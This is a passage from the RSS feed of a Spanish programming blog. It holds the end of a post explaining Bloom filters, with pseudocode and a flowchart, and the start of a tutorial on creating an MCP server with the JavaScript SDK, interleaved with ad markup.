}&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;no-puedes-recuperar-miembros-del-conjunto&#34;&gt;No puedes recuperar miembros del conjunto&lt;/h3&gt;&#xA;&lt;p&gt;Una vez construido el Bloom filter, no puedes saber qué elementos lo generaron. Solo puedes comprobar si algo podría pertenecer o definitivamente no pertenece al conjunto.&lt;/p&gt;&#xA;&lt;h3 id=&#34;colisiones-en-bloom-filters&#34;&gt;Colisiones en Bloom filters&lt;/h3&gt;&#xA;&lt;p&gt;Cuando empiezas a añadir más y más elementos, se incrementan las probabilidades de tener una colisión (falso positivo).&lt;/p&gt;&#xA;&lt;p&gt;Siempre puedes añadir más funciones hash para reducir colisiones, pero eso aumenta la complejidad y el uso de memoria. Así es, nunca se puede ganar, todo es un trade-off.&lt;/p&gt;&#xA;&lt;h3 id=&#34;comprobando-si-un-elemento-existe&#34;&gt;Comprobando si un elemento existe&lt;/h3&gt;&#xA;&lt;p&gt;Cuando revisas un elemento, el bloom filter hace lo mismo. Si todas las posiciones están en 1, el elemento &lt;em&gt;podría&lt;/em&gt; estar en el conjunto (por eso es probabilístico). Si alguna posición está en 0, el elemento &lt;em&gt;definitivamente&lt;/em&gt; no está en el conjunto.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Bloom Filter&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Word&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;1*&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;1*&lt;/td&gt;&#xA;          &lt;td&gt;1*&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;flujo-basico-de-un-bloom-filter&#34;&gt;Flujo básico de un Bloom filter&lt;/h2&gt;&#xA;&lt;p&gt;Aquí tienes un esquema sencillo que puedes usar sin pena para inspirarte en las artes oscuras de los Bloom filters:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Decide el tamaño del arreglo de bits e inicializa todo en 0.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Elige algunas funciones hash independientes.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Para añadir un elemento:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pásalo por cada función hash.&lt;/li&gt;&#xA;&lt;li&gt;Por cada función, marca en 1 el bit de la posición obtenida.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Para comprobar un elemento:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pásalo por cada función hash.&lt;/li&gt;&#xA;&lt;li&gt;Si todos los bits son 1 → el elemento &lt;em&gt;podría&lt;/em&gt; estar en el conjunto.&lt;/li&gt;&#xA;&lt;li&gt;Si algún bit es 0 → el elemento &lt;em&gt;definitivamente no&lt;/em&gt; está en el conjunto.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;pseudocodigo-de-un-bloom-filter&#34;&gt;Pseudocódigo de un Bloom filter&lt;/h3&gt;&#xA;&lt;p&gt;Con pseudocódigo (sí, debería haber usado Javascript), se vería así:&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;initialize bit_array of size m &lt;span style=&#34;color:#ff6ac1&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;all&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;choose k &lt;span style=&#34;color:#ff5c57&#34;&gt;hash&lt;/span&gt; functions&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;function add(item):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; to k:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        index &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; hash_i(item) mod m&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        bit_array[index] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;function check(item):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; to k:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        index &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; hash_i(item) mod m&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; bit_array[index] &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;not present&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;might be present&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;diagrama-de-flujo-de-un-bloom-filter&#34;&gt;Diagrama de flujo de un Bloom filter&lt;/h3&gt;&#xA;&lt;p&gt;Y si eres fan de los diagramas de flujo, se vería así:&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart TD&#xA;    A[Start] --&gt; B[Hash item with k functions]&#xA;    B --&gt; C[Get indexes]&#xA;    C --&gt; D{Add or Check?}&#xA;    D --&gt;|Add| E[Set bits at indexes to 1]&#xA;    D --&gt;|Check| F[Are all bits = 1?]&#xA;    F --&gt;|Yes| G[Might be present]&#xA;    F --&gt;|No| H[Not present]&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h2 id=&#34;por-que-no-usar-hashmaps-en-su-lugar&#34;&gt;¿Por qué no usar hashmaps en su lugar?&lt;/h2&gt;&#xA;&lt;p&gt;Podrías usar enfoques con hashmaps como buckets o &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-maps-o-diccionarios/&#34;&gt;Swiss tables&lt;/a&gt;&#xA;, pero piensa que ahí tienes que lidiar con colisiones. En cambio, en un Bloom filter puedes usar funciones hash menos costosas, mientras que en los hashmaps necesitas funciones más fuertes para evitarlas, lo que consume recursos.&lt;/p&gt;&#xA;&lt;p&gt;Además, en un hashmap guardas toda la información como pares clave-valor, mientras que en un Bloom filter solo guardas los resultados de las funciones hash, lo que ahorra bastante espacio en memoria.&lt;/p&gt;&#xA;&lt;h2 id=&#34;cuando-no-deberias-usarlos&#34;&gt;¿Cuándo no deberías usarlos?&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Si necesitas eliminar elementos: los Bloom filters estándar solo permiten insertar nuevos datos.&lt;/li&gt;&#xA;&lt;li&gt;Si los datos son pocos: no tiene sentido usar un enfoque probabilístico con falsos positivos; mejor usa un hashmap.&lt;/li&gt;&#xA;&lt;li&gt;Como te mencioné antes, mientras más datos añadas, más aumentan los falsos positivos. No lo uses en conjuntos que crecen demasiado.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Y eso es todo. Escribí esta entrada porque leí sobre esta estructura de datos en el libro &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/41rodp3&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;System Design Interview&lt;/a&gt;&#xA; y me pareció curioso que exista una estructura probabilística, cuando casi siempre que trabajas con estructuras de datos buscas lo contrario: determinismo.&lt;/p&gt;&#xA;&lt;h2 id=&#34;algunas-librerias-de-bloom-filters&#34;&gt;Algunas librerías de bloom filters&lt;/h2&gt;&#xA;&lt;p&gt;Lo más probable es que ya existan librerías mantenidas por la comunidad, por lo que no te preocupes en reinventar la rueda.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/bits-and-blooms/bloom&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;bits and blooms (go)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/KenanHanke/rbloom&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;rbloom(python)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.npmjs.com/package/bloom-filters&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Bloom filters(javascript)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Supongamos que quieres comprobar si un dato pertenece a un conjunto más grande. Digamos que eres Google y quieres revisar si cierta url ha sido marcada como spam. El enfoque más tonto sería iterar sobre cada url marcada como spam para ver si la encuentras. Tal vez pienses: “Guardo los sitios spam en un hashmap”, pero entonces, ¿un hashmap con los millones de sitios que existen en internet? Debe existir una forma que use menos espacio.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo crear un MCP server y MCP tools desde cero?</title>
      <link>https://coffeebytes.dev/es/artificial-intelligence/como-crear-un-mcp-server-y-mcp-tools-desde-cero/</link>
      <pubDate>Wed, 23 Jul 2025 18:00:32 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/artificial-intelligence/como-crear-un-mcp-server-y-mcp-tools-desde-cero/</guid>
      
      <category>artificial intelligence</category>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;h2 id=&#34;para-que-querriamos-crear-un-servidor-mcp&#34;&gt;¿Para que querríamos crear un servidor MCP?&lt;/h2&gt;&#xA;&lt;p&gt;Crear un servidor MCP nos permite conectar un LLM o AI con datos en tiempo real, datos personales, u otra fuente de datos.&lt;/p&gt;&#xA;&lt;p&gt;Anteriormente escribí un post donde explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/te-explico-el-model-context-protocol-mcp-y-para-que-sirve/&#34;&gt;como funciona internamente el Model Context Protocol (MCP)&lt;/a&gt;&#xA;, puedes consultarlo si no te conformas con la receta y quieres saber más.&lt;/p&gt;&#xA;&lt;p&gt;En este post voy a detallar como crear un servidor MCP. Vamos a crear uno que solucione &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://community.openai.com/t/incorrect-count-of-r-characters-in-the-word-strawberry/829618&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;uno de los errores más vergonzosos de los LLM; el no saber contar la cantidad de r&amp;rsquo;s&lt;/a&gt;&#xA; en variaciones de la palabra strawberry. Por ejemplo: strawberrrry o strawberrrrrrry.&lt;/p&gt;&#xA;&lt;p&gt;Si no eres un bot, ya sabrás que, para un humano, contar letras es una tarea bastante trivial.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, para un LLM es casi imposible debido a la manera en la que funciona, a base de Tokens. Las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-arte-generado-con-ai-y-el-codigo-generado-con-ai-son-tratados-de-manera-diferente/&#34;&gt;AI son capaces de crear arte y código&lt;/a&gt;&#xA;, a pesar de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/&#34;&gt;no ser entes conscientes&lt;/a&gt;&#xA;, pero no pueden contar letras, ¿contradictorio no?&lt;/p&gt;&#xA;&lt;p&gt;Por ahora lo convertiremos en un ejercicio didáctico para desplegar un MCP server.&lt;/p&gt;&#xA;&lt;h2 id=&#34;requisitos-para-crear-un-mcp-server-en-javascript&#34;&gt;Requisitos para crear un MCP server en Javascript&lt;/h2&gt;&#xA;&lt;p&gt;Partimos de una instalación de Node, ya sabes, el resultado de ejecutar: &lt;em&gt;npm init -y&lt;/em&gt;, creamos el archivo con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-grep-ls-cd-history-cat-cp-rm-scp/&#34;&gt;el comando de linux touch&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── index.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── package.json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── package-lock.json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;establecer-packagejson-como-module&#34;&gt;Establecer package.json como module&lt;/h3&gt;&#xA;&lt;p&gt;Dentro del archivo &lt;em&gt;package.json&lt;/em&gt; cambiamos o creamos la propiedad &lt;em&gt;type&lt;/em&gt; y le asignamos el valor &lt;em&gt;module&lt;/em&gt;, para que npm la trate como un modulo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;module&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;instalar-la-libreria&#34;&gt;Instalar la librería&lt;/h3&gt;&#xA;&lt;p&gt;Un servidor requiere el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/modelcontextprotocol/typescript-sdk&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;SDK oficial de Javascript/Typescript&lt;/a&gt;&#xA;, basta con instalarlo con npm.&#xA;También necesitamos &lt;em&gt;zod&lt;/em&gt; que, &lt;del&gt;si tienes la mala fortuna de usar Javascript&lt;/del&gt;, se usa para validar datos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-typescript&#34; data-lang=&#34;typescript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 1.16.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;npm install &lt;span style=&#34;color:#ff5c57&#34;&gt;@modelcontextprotocol&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;sdk&lt;span style=&#34;color:#ff5c57&#34;&gt;@1&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;16.0&lt;/span&gt; zod&lt;span style=&#34;color:#ff5c57&#34;&gt;@3&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;25.76&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;crear-un-servidor-mcp&#34;&gt;Crear un servidor MCP&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación es este pequeño libro de cien páginas sobre Machine Learning, trata de las bases del Machine Learning y todas las matemáticas necesarias para entender cómo se entrenan los modelos de IA. No te dejes engañar por su tamaño, es denso y un poco complicado. ¿Y por qué tan corto? El libro es tan corto porque deja de lado todo el relleno y se queda sólo con las partes cruciales del Machine Learning. Una advertencia, contiene muchas ecuaciones y no tiene exactamente cien páginas, sino un poco más.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro de cien páginas sobre Machine Learning\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103780/hundred-page-machine-learning-book_ueonkh.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3D3oMvN\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de The Hundred-Page Machine Learning y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;En dónde aprender las bases de AI y Machine Learning\&#34;},{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 